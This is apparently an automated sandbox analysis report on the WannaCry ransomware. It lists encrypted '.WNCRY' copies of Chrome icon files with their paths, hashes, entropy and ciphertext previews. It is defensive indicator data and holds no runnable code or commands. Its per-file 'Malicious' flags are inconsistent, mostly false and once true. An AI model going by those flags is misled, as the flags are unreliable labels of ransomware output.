                                                                                                      SHA-512:A87F95B4D7FDC0AB3C4C3874DC4B65AAB9393FB1763E52F2C9107DD3C980FB0EEB472CC727A95F67C3613AE5E73E364F1AD11EC78173AC71784AFF72CD56B50B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....-.kMA......P.rN...`*.Eq....]..S.8....4.lb.o."..B...2......;.?@r...j.........b-.....*......g.g.tn..PW....N${..f..u.k/:.u.......C.t.|..sl....F..S]w\..:H.....{d.9.P.Qh<..\.....s..4%..^f.Yc9.6.Q.!..>RG.pwU?8.F7.LJ.k..{.._ V8....\.a..\^F.$|!....].cJI....3.......Rf.n..B...D."...g..._..J#D.9...I.p.,....}E...X..L...~...1!.-..../..0.Cr.....G......'~...r...\A.)...w..s....J..^.z&9.2..;^.....l.....H.5.C.....c.MA.J\.t..M.PWb..?.X+7...U.DNx.....5..$B...&....X\bE...3.......&...TQ).. '.U"jM)0Dw.'.t.NR,..h..[.+p...4%z$........~.p............W.Ah.%.Z.?Z....P.[......s@...d.+@..!..3.6..M.ku..C..T.,`..9.%s..]....H.Y.........@.....6%.%M-O\R!.:_...P3...p...h..@.~.1.o\.../...Z...a.vf...D.)6&....f;>.|F......GC.1-..Z1z...@9.'..lW....... ..m7h-?..1.O...[....K...1...]..0......I.h....Sm...t..~M..5.g.&.MP...Yq.w.-n..Au...;9...|x.L..eO...t......P..$...}.,.w....]..| F..".....~i1...^ ..+8....X..-..B..]y.n.u.F/.+..|...._....F@.....Tl. .U...Mz:KHY..x.4.]..:.........

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4120
                                                                                                      Entropy (8bit):7.954453551846899
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:o4YP2ta+4gDlGZqbtuEz35F4B121eteWq4T6bpOG0EilXS+na:9M+4CsEzJFs214bTspOGsFa
                                                                                                      MD5:E2E61E8FEB9E535096881A98A1A1BE70
                                                                                                      SHA1:2AD3CCDF302E3B55300A7F6D3AEDC12A0D879CF4
                                                                                                      SHA-256:E3B3530EA8F0DEFBEDB4AF6592ABF8158FEC0628E1B40E5711A21DED0BEB028E
                                                                                                      SHA-512:D4D5537FB2DA3D89EECF9BBC47126785F18FCF377974A9EE7396F76734116723D8DB005C3B73DD110E9458F37CA4CF793FBE74C914476181375125D951740E75
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........&>..QL.sC........v..eA.s....QL6...E.W.. .mb)\..."..f.....V.1t..f.yB..sRf.......+."....{.E...3....'.f..Y.+.............B..M.M..0M..=..&l.5....=..h..y.k.W..4....e.......Q..fh...A.$...`.....".........R].s...n.i..6..Lt.!..W....!!%.T#......zt...M.............<.-.........h..)*j.ca.@...!9./ut..k]T.....60.a...A...D.e.0v.!..t.8^..:79w..|.El.....-.H.=.c.......e|.m..0...ysn.?.......q..&se".....{B......W.z..G..G.h.}e{..o ....D|3Zp.U.....C.!..{W....O@s.F;X.......w'..........&H.c..('..s.....N.}..K.b..d..V.M..t..-..!j.h.C.r...v....x.x.|..........,.....>/~].*....Vn8.s.h....!./._...@J}....u.y....1....i..P....x(.f.xcW..}.aV%..Z."iH.".....r]F).w...d{..V.<..#.....^=..B.".8.......;+.......S-.......4PX... r.c.}...h.....lG.j....R..ao...O.".>.._g.E=.t9~..=%B'B_&U...8.T...%.r......\...?;.1"2~..|.. ./"N......f....X.`.,....."..$....-.v.x..S...w..>M{....c5N.W..q...:^..?`4W....!.Hb.....7.F..........N.UeY..}*j....DNC6y.n.....(...,O..w.......pU..g.5-n.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6056
                                                                                                      Entropy (8bit):7.969832649617026
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:o812A2CB6IQwMsE7omQokXg6wQhPZmTjIikjBaNN2clTNbxe5C5bXXHXJte:p1z6BswQLXgjQhhPHN3chNxDXXJ0
                                                                                                      MD5:26A9387F6655DEEE6BFDE8B782BED970
                                                                                                      SHA1:3DD2956B31B0D276B3AB925C90CAC5841598C655
                                                                                                      SHA-256:EFB813239C9F766BE8527D2D4DD3F080D26C335D10FFD55DB18169FE60929D24
                                                                                                      SHA-512:33ECBE563A27C62BCB864DDA79B2E62BC2ED54EB042A349174579A579DA0BB73BC66C095DEC1F49A79B2A500F68D2299B8C586EEE829A0B8D6AC76ADAF94DAF0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....3..U@.. v........O0.k.."]........n...UR<.Vf..{..P.90.u...Y?.fm...h.......@....&d......_..~..3.D..h..j...g.+"l.&FP.j.5.+......W...y...~...............X#.......<...'9}...u.cnJ2qQd5.Z.....Zb.`@..k.52.@.....!1.`.[....|.#......xX..^~....u..}K(...............c.TM.Y1\.'d...b9w.}12...q.....jv.1...#..io&I.V(..*...E....Tor$././..#. .......y^..^7}.44..)....}^...V......z.H.JM..9..w.r..J....Zm.e.....|#....P..c|P..V..t6.r:..np0..W..K...C.)...o...=O...[.zWi.;%/b..........6.....(..Mbs..G..y...... '....(!..."..$..x..S....q.7....z.{...n..\X.t..N....l..{.C...r....Y?...S.x,3w.II{&|&....... .X/.<.......B@.K.8J......u.(.[x.....&..h^3P..KV2....;.y....Ey!q.K.v&..#........||........c...5U.&....5Q(.o.o*rK?'O....r.i.@Z.."R.gl.....Wgx./.D..C.C.O..W.2../.'N).&"I.>m*.Ar....K.F6..W..>..5i.._.\%.dr.N..@..4..z........z.1.....L8..j..`......I...R8..F..."R.$..9.+[5}..[.C.r.X...e...lm...~s....6x.8.w......c.....E+.....H.....r.b|&.t..S.._U........6.s.W.c.._......

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):10344
                                                                                                      Entropy (8bit):7.983307058377571
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:yQOK7rXWLWpzWe+o+WWwRIO4BI4PU7p6dy77RRNUp644AtYr/s6Y:5OBLWp6vWDRCBI4PUVky77RRGtYbs6Y
                                                                                                      MD5:AD6E1600F5342EC2041FEED0DEFD09B7
                                                                                                      SHA1:E30AB966FEDD9F4C571845C80350297CFE7A9B02
                                                                                                      SHA-256:2925D71B55F5FEFBB17D22F62440616527E86EB562AAF6EB6AD0841A954D7146
                                                                                                      SHA-512:2AD748290C6FBC3B5157DEF29E3CAB6004F2C5F557D6F4F985D889E18A8FC722F6682B3BCA9330A091849612CD3F2BFF449312409BFDCBACB5A97F37C95C413D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....... . z..........#m.W..Y..uy.|...fbW.x.W....4c..I...Z%...~..F./2dd.).........;qJ)d....vaW...^..}.i7.e\9Q..3.XP....Jp`..bs...}..x=."..(.........H..5..f?.T7....9...m+.W..fY..Nc..L.=.........k=....w..... .0..'=.h.R'?.q..QV...[.. .....n..3.3M..e>...x.....P'......7pqY..E.<p...\XX3.F\X6...b..w.1..x..M..^.1h..l.Td-S..906Kk.D0P.@.........J.w....}g.$.n..t.X.X..!.`.6*.._`..p.l...x...D...S;Dj..I._..(Y.....IQ@...PF......Nq..B7KJ..I.d...g. `..[Y~?~........H...?..?..`....a_.k....S....N{).......=.....;...{...1...\...-..m.....\L.&).....a.UB..|....._$..Q...Q....)..(.=@}.\.Z@..e.....O<I&btY...2..-....-.,..}........Ja?.V.#..5.y..\T".y.Y..Sx....G..N.}2yl....mY..N.&.).5d..{j....".X>...,.V.)-.....Q.)...4_.O.^.L.T.i..`I..Z..da]...cd....t....I.k.kk.f.._....h.........w..?..;!....]+..Gj*6.pm...t...Hw.!K.mhy..k.t.$..M....(GP...._B>..2.v..L...:.........1.. .6.4..aT.iyE^8?P......9..<...P.3..[..%..iHzt..<c....N.....j.9M.....m.../e.}%...p.U.U.4K....3.......p.m.(U..{

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):7240
                                                                                                      Entropy (8bit):7.971842667461275
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:TPuHBEZihKKf3bVncD/q85virUNHLxxuHZX:jSfzVnn85virUNrxxc9
                                                                                                      MD5:B80B7316BA7344023B74162DD1791A8E
                                                                                                      SHA1:54F14503E5F606FF3F82E9572300F1697C195AB4
                                                                                                      SHA-256:379E7BA1F81280C5235E72827D04EF289DA598DFBE7BB571348D4BA37A3199FB
                                                                                                      SHA-512:A072C7CCF4EC89BB891CECAD4DC798B5DC9E4546723F041E97C4B1A6FFA2007E410C6ED59C0F82A6B5788C0798E317940E23D9340C800BBB177C634EEB026079
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....%......W...Hd.W...V.;s.....+.8.j...+...h:."...!..y...vU@.i..X...L%..a!;.A...X..k.x.A.;....z.*..W...M..@v......S.G%...u..nA.._YU.q?|$B..1....j."..^..3....Y../..{.].....+..j.T8.....;.j`;D.;.>.U..X0...I.7.*$.\..........u.9.M.B....b......U.b..".....+.......Z..8..`..P.'...W],.5..?..m.....5...9.PU...<SP..:....../.G.I.)..)-...0~.3....'.?..Gw..V.E.2l.K..^.e..*6.H...'.H....0.....,o.c.;..KG.9Q...&7.z..g.....F^V...........3..\.N.........Y.|?...Lh......QtXWp.....[4W.Y.]................B..+uH...l0.m,o7..2....v.q.........d.BJ.....3.j.&...p.l?.q'.....y..+.9.<Z.....eH.v.O,u>|[...v...,.....<.I.Z..v2H.08...Xu..(Y.].....]...D....B.(....HAT_vs#....gr....T.....P.@=^..J...n....-.....%?..b......G[.q,.w..vC.P.+Sd.r......Io'......9.o~s.C.d...8JyAD.......g..'@......Nw...r...9G...Er..q.>n...89/......q"yU...J$}X...T.o..s..,...r.........E.\..H.X... .}...pQ.QG.#@L.jc...k....%..KiW1w.....o..C...4/.....8...,.......5.U.....p.B.hU.Sy...2.g..y....t.X....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):25624
                                                                                                      Entropy (8bit):7.99294394266967
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:uxwPObZYgER96ji1TxD8wbZC4/5+UoR7TyaQVS:uxwv6mVpCeIUsEVS
                                                                                                      MD5:BF2647EF8067C5660FDE7BBF6C00B22C
                                                                                                      SHA1:7E4A719A53D1676E2EB310FD5DD7D3B37F7531C4
                                                                                                      SHA-256:F6F8C97C6AAF070ACDB8690602622903CF09B4D2CEA59BE99B5E4CD7D1E4BBF9
                                                                                                      SHA-512:0632EEDF9709B6E19F2CFAC403EC1EA31E58C5B9BADA2229D2173827674B13E4015F85E58DC42C914DB76D50E21A23E5FDB1131C127D67B3AFEE10818999D1C7
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Y{..d'.r.S..b1-5d.v#.1.5.<H.G.2x[.....SW.F..0W.3..rM..[..........+...7.q.E+.jc./..h..U!..h..T.....,.....~%..z8.I&.....J.$MQ..ux.>..f....dn...~F.}.@.Sa...r......L..c..x|.......|y...w..H/..:.r.?......|T.wZ..7..D..;.Gk0.5D.{.UT%..+..f3u....N.....b.........T.E ...0.i..^d.b.Q....`.:sc......m...`h.6....+..3*/@^5..elZR..).;..C....bs..BoDv....0...{D.^.|P..M....3.5(..(..P=.jf..4..J8....e.4?.}...e....0....Kk.Y%..........8.M<.)...rj........!&......*...w......z.$.&.[.h`.(.:...Lu.&.&.Ch.8............D.[0.B.6.........."L.q.lKV.).. S..?.qL...O'..M.a.C!.<^...q......v......`.._..#...un.......NI.<.W..b%.#.-....9..'7@._.f+...0&.g,.&...:.D..fx.[}..MU.@g...y..`P..57..bGAr. =.*...*.&3.gm!ij.....A..L........g.Myq..|.?.i<.*..*'..4..P.O.Z....B....]L......Qb....sK.R>(.qyQ.q...z|...F.U.h..`...L..?..._z>..a..K..;..S..c9....:...........]..(..Z.. .}..._E....Ui.-.P..b)...T......C.`.......cSa.7gg:.h!]..N.GHR.......yVf..?......7...`.:.r..:{x./.NH...X

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1784
                                                                                                      Entropy (8bit):7.8878500279669455
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkBmMuPlSt1HbUp+nJ55eJAwWx4t7B+B5d:oBuPQnUObeJAwWx87B+B5d
                                                                                                      MD5:8621F448A611E8BFB1EB189E7B2690AB
                                                                                                      SHA1:A91AB3A9466611F084F69696085441C2E3AF68CE
                                                                                                      SHA-256:012111939A5E45CD998AFAF49FE1DDE4EF7E388CFC03BFBA6C678E42C7058904
                                                                                                      SHA-512:E69BF92C82122B59325B33C3E148A93AD59B9041609FDD3BBF22551E76286B981B753CF6D74FE245A92A17EF8006A6A6163BED8ED62A3B18235A81812A325D47
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....=$r..A."<..]t~,_..x_.Y.....b4-[....6.0...~.5.U.W%.J..0./.6-...x8L...y...,.5W^d.b....'}?'.-..:\..i..y....k....&.84b\..8.x..B....^..k].61h.;Y.n......I.c....r.;..].8..j*..4<.n,G.c..wp.B.5.y7.r...)..j`..W63...04.8i.|._w.....iR..A.K.....Z.M.....c.............K.t?.z^.X..T.N..W }.{..K..Z......{K...y4.T.F..*w..y...)...Zw..r.r......i...................?.Q!5..z..OF..3o.]..?r.RH....O../.....k....+.&.Y....U.f..4....E...rV..6.U......K.W...>fk.E+lk1..P5..T.. .U...<Fq>..9!O."S.. a....{...^....g..&..-..VU.,..~.jM...u.I.g.H..m.W.ZH..1......d.:...=.....h../S..)..j..I.4...q.DLU..8..4.!..Q..(.....c....0....."....._.[y...D@..s...Y,I8M.}...I.^.....[w.L...5tDD.p..DyT=n-..C'#..B.J.W&...s...n.CU.q...[.!.j..p..M...WW...s...D{@.\{..fD.K4-..3..q}......+W.z.l....U..{.....".I....`.t.$...U..H.=.<{.....=.`.4C......:....E2\...O.L...1.a..9.C.X..wA.h..$..V..i:.....r...8@..BZ..W...1..;.c....m/m2.wI-..t@y-.q6[=G.=...t....F...Z..N.8D.....Y..B0X.h~...!..W.3Q...0

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2696
                                                                                                      Entropy (8bit):7.92482420727811
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkViDBOPLslABm8AmUHwoAOrhmYpYhg8IQtEIRecVc6TPSbV7r6TG62hA:oVi1qiTIlOsTg8IQttRecOr7r6Z2+
                                                                                                      MD5:EE2BBE1564AE822E2B5D398776949554
                                                                                                      SHA1:AC82040A7F9402B47F1AB953BCDAF8556CE34764
                                                                                                      SHA-256:B1276373695D6ACE20E7D80AA8857228E4CC799409C53D8D2DE506BAE42612C0
                                                                                                      SHA-512:6FE970E6A136E755F08D636B2C7B62E75AC3616B8DC18A14296E562177ADA2491388F953DFC1797EB7064C6479662444F1B6520886A498C407EC2ED550B50561
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....T...S.....,\k^.".5..o........i^}...G..........(q.%....76...v.n..Kw.......4..........If..=k..=....&'B9_..9!...5......'.......;..i.....,..s:..m.\.0.!G.s$.n&.....m........8...5.Q..MY..'..8.Z.E8.7/..v.A".....U...2..()..51I...t..S..j./.zs`_..xt,l]`.....m.......0..........s.l.,.L*..k...h...#..-....:.F.;.k...k..9)..a.......<....>6.z...4..L..~Bc..M<".0..p...'..a..Zd5...X.t..x.*.]nA\kB.<../.J.>.a.=. .<.g.....1.(V..A.$s.2....O....;..R8J'A.....[.,..^2..X...&.N,.Gom....A...`"../.f.<)......s....U(6F.t......1jSc....$...7^.....4..fB...og"5...&.4..x%...>.3.}7M;...2...m.......+.Gj.>.i+9.@.......5..Z........$].....c.J.9.].....<bi....lo.D.......6.q.Za...`N.....`.f:.d......;...7.S0.w..p..Gy.\...%.*.`..<.V.T..C.......8..].~6P..#zm.-......[cz..[....x.._..."......1..(......D.`uHI.^(.:Yo......$wVvY'.n.....t.(.......!..I]..Q.|L.....?.....6.D.c..b!.PjR..D.Y..i..Hq3..no..=0^b..3c=.v.X.\J.#.RA.#....sG..am+.=i`..].i....B.i...{x.Ku...r.6.+......7j.s.....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4072
                                                                                                      Entropy (8bit):7.95335803003055
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oWoSJDE8WVwiCn/q7jaM5AwSKiJzPsBbLPwDSYnejEc9W/lpjdeAQbC5V:6Si8WVw3n/4GMerKiJzPsBbLPwD+jEb9
                                                                                                      MD5:BF8F95C8B37200DB15A2C8A2A6AFF988
                                                                                                      SHA1:5C14EB58681F93E195FB4D1330B779E62CC4122C
                                                                                                      SHA-256:9D359E1BA92A62A80D4E1B88D8ECAC814B319CCBBFA76C4A81775D82BE6CDCAC
                                                                                                      SHA-512:2012B5F4CFED78567E8E5E273807C356A2074D76D5DFB81EBE74E1DDDE15B02EAB4E7AD01303F4534F383FBA8C55D1CC272FD20DE191A5D87D186A9DF43C3EDA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....:ql..6.0....fG..b.B.C...S.......^j.BN..]`g...D\m.N.....+..7.5..:.=...........(4O...9.~..].....m...vg..mB...W...Oe.*..O.....Q.Vx....`........4.cK$.........&..r..|....mPE..^..........{.......M...(.........K}..$k&{....H..A..i....;E.........0.c.............r>.3 ..B..>...SK..s`..#=.r4Wte.M....;....\......If[.U..>j.N..p.........6$.S$....0.U....r...%..\....,V...xsI.....PdEW..".;}!a.lh..VQ..."n1l.Ie.|SI._...X..Z....S$...J..~U..l1.8..._.>/...3U..DH...G]..Y...%.<E.F...3.~&.64....r1.C.e.I}...!Dt-....s...".Z.N.WI.%>...........6A....T[.{.5=...;...7FE.......H7.2C....w...z..?I.%..q....`2.}>.td...fA...`..+...&.&M9w........,...?.D..I..t...7q#Be}........n..Y...=[:.-.p...ST.5...pS:l.(......@..r.?ad..Kc>...>..`.J...q..^r..*.=\].+.-.W4...P\.&Ug.....i...cT.`....fUrP......H.V........m{Ig..C....K...=.2S....k...X....f`...YS`..h3b.......F.d...?.l.ev..m..:..m"..V..V.].....L..6-.T.f+Wt).....i.\..nj..8%@[EL2..F.P...W.l..;h1.4.......d...V...V...v.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):7000
                                                                                                      Entropy (8bit):7.973585217731005
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:CFuQD+BQCvp0URtREQJwYW2rVCSB1v+58H:2yBQHe/7JwbSVCSno2
                                                                                                      MD5:0AE44A66FBDB5532CD2ABBB0BD96E4D7
                                                                                                      SHA1:DAFCF6CEEDBE815CD5F6C075953411AFEBF6EBCD
                                                                                                      SHA-256:E685670E4A2DD835CC76D20FD2A9869C8C6C9F68190DFBF03436F28FE4C6E2B8
                                                                                                      SHA-512:A89FFDB69B4E45CC13D064892CD8548DB8E78A1A430E5133D1E68EFFEE426504E32AA48CCD69EECD3441116CA784A7A4D1B27B3F68DBEEB359342C736810E836
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....n.........p........oUM8..4....#/W....Np.. ....{.x.;.rdh{s.~.A.p.D...9 .f.n..+.....o...T.....#..J.F.l9.d..IVtK.wP..q._.S..x...h:... .roE.%....W...^...Y....X...z..v..&..p.ek....@.*..F..7...x.Pd.,...qV_..d.,....`r{$.d?.G.)B`...l..*....PU.(.._.PG;.o.!.....;......../..d.X..9X...f.e...dO..Y..5[.W.^O9.0...'R.W.,=G.T.._..]G.o.H....2v.8.R..).-..............(1%..q......ow...P.rd.....`....)y.g.%-w...?..A.y..[...E...Sn.j.....i:.N.l3....8.#.z..q.....G..O..O"..3...=..eV.....U.j.|..x.4..g..ix?Q*..C<{$.y..}S4.B.u...2..........V..6J..B....3...s.....bd....]..up.[.*.#p..5=q.RY.<.;...`.M.^K^.o.v..R1....w).@..2.JJ[c...Dxr...z.#P...... .L....k.D9...V...#...b....0..Q.7F.........n.........o.s...Z..*.>*Vv..m.c..=.Y4.;c.v.;.......`02...e. l.oD.+........h_E..OS.....-.Ix.JTl...... ...L....u..&V......).fr8..x..E....6....l.F.....0.].0gfE^QG...28..U..YS.. %..E../?$....#..W.egP........Y...X...@.m..I.d.e....l.2........].....%.C...L....A...h.\.n6"2.....&.=..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2600
                                                                                                      Entropy (8bit):7.9296462882550935
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bk5Mjvo0/wLkTWZuAvWo/mnm158TtAGX+pOibn44GnkcapJxAnFwk7Bj9kB:oCjvooWYWZucWo/mmv8Bj+pOibntqvcp
                                                                                                      MD5:ECBEFA37ACA59C6DF9EDB53BB042B6FD
                                                                                                      SHA1:23F920FFDF7C5DA4D16F75362375ACFA39419C46
                                                                                                      SHA-256:1712BE31835AF7320C911DB633A33C1952257C5057E40CA436AEA15D5194785F
                                                                                                      SHA-512:20E87A8224B9E679A60B4F752E9A07540EE2414BF8322B2C32DFB754DDCBB9B38D6CE1FBF04D321C7DAF3A1BB69DFA259ED7CD9C2AAB4F2E3C1473177061B216
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....}.v..*..(.....9:g..U...8:./?0I..'(0..'.k)..-.L..~..?l=)P.Y...a.}...).y..f...%.Oq.^..,.j...]d..rS...:}0..m.G..w1y#.F..T..i9w......l.Z=h....(m..;...#....A.Q.......!..C...O... a.t+.].Q..V...E...hS...8.?~.J4.....S,...6O....k.....v4.o/;K.1;.b3p..J.a...............&.,M.l..l...~s....8.u..'.6J...?7.L.'..... ...&..1!!.:s.-...<....,.bJ.im...... ...~...{L..#n.~.:IYa..,G.E......l9...H..ryj.apou..j....G.=HT^..h.w.6.Z....2.#.=......Eu|N....`.<.....rV.>d........u..b..k>W..;.: `@M)$]...;...*.9.....jP..Io..~..-..p.5.!......>....C..j....B.x#....>.X...3.g..[.N....h.4.......b..Y).BgndL.l.9..9v....y....H".........H....X.?..I..q..M7".......5mp.iWB.v62W2.q..{..Go...`c-y.P.@........i..TI....-L......\.#p.+.......KI..x...vw..Z......T....jc......r.i/.K\h..y.......W..n.j.K....n0.....%..g......5..jYl...1~........Mg...%V..)...6.."...[qA...C.._.?.B..Xs4r%..._.MD.e.tX..Lh.E..FD.'.B{d.......r.d@R. ?.......<...N.Xe.y^.gu.IO.p.#..SS...I..K....5.llq{..x-7....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1576
                                                                                                      Entropy (8bit):7.880352806878497
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkyhWT+FxNq6jtVUpefYggswgDfiJ4t/dB0:oyQTIxNFtVDf2rgDf8S/4
                                                                                                      MD5:FF9DC2DBCBB5E8DA1A7FE9D5408A53B5
                                                                                                      SHA1:2CF7C70795957575C8367BC0F05BA07B7B2900C3
                                                                                                      SHA-256:5CB3F73A5E4D2134637C786C9162635795DC0EAE5E7F78B6982D9679B41209F6
                                                                                                      SHA-512:BE5D00D976859EBCA520DA97B57204E49CF13814203DD44DC7D2E2C4F743C8980FD3224DF02D1AA6C02530E6508C87688BE6B2D7DB84F0B2A123CDB8E1247385
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........g..O%.......!..8P9..'..aP'.....X$E..N..zP.!c4...8........_.TH=...r.8.@.|.. .vF.......+....I....C...GH.-..n....aE{.*I5...R.s.?.M.M.....Q4.e.`..........E.....M.-w./}K=.%...M.A.b..z..........[.....H.a..g..QN..@.M..5..m..gMF.f.z.{..5....@..N.............-V..x.#..$a.3.yU..Cp\`K7J..h..f....3.a@+..R=........D5..WG/Y.{....z....z.b..........<L.g...,._.e.F..R.. .....DE?.B..g|J..{. ..."......2.-n.......7..........._..0..U&.b.G.....e..F..E...@...G&.........Acp.q....-..f...t.V.c..K.X...jx...%..WN.x._B..>,........A...t.:A...cH.A...........Q.t@bD..F..+..5K..-.<.....nT.mI."...L..4.......=..K..3.p:k......R.U.5.8"[...\.....w...9*.....t..........:.=.p..`..Iv...\1u.n........|.U"k.#.Bn+.&w.T..H....kr. ..n....w...wIV....r51Q(...d....'. .......-.....{C..S|.}...p..&.#.... ...._.6B..pAo.b..A..YE_..J.!.\-0fb...=...4..A...K.c.;....~..?..9......M..l./..8?..X..Z.....)...!o..E0.h.....iX....'H...e.t......D.v.4..A.M..'G@.L...b]....0r....!..:...s..7.|..u

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5480
                                                                                                      Entropy (8bit):7.963330064993054
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oX9f8Cs7ONtlcbH0U+r9KyrWbHCE0x9/g7Oz2+YcBAZOQcrCBauM27z3wHucGby9:6f6+C0/RKyrlx9/g1+bBAZdauM27DMuw
                                                                                                      MD5:8E4AA863EF51D854FAF345CF4535B1B7
                                                                                                      SHA1:E498E264C14A494BEBECE9FA3278CAC41C144508
                                                                                                      SHA-256:BA6A9A95357E17728128455C87B260721AA95F7F3917BCFF9441F2406C379148
                                                                                                      SHA-512:082537BE5C5CDE3C6766C5073878A5DC89839958FCFC620D6B78B9F33903B5476133E149ABC07B90B826A2BC9280362982171CBB638B95ABFFEEFDBBB25A9077
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
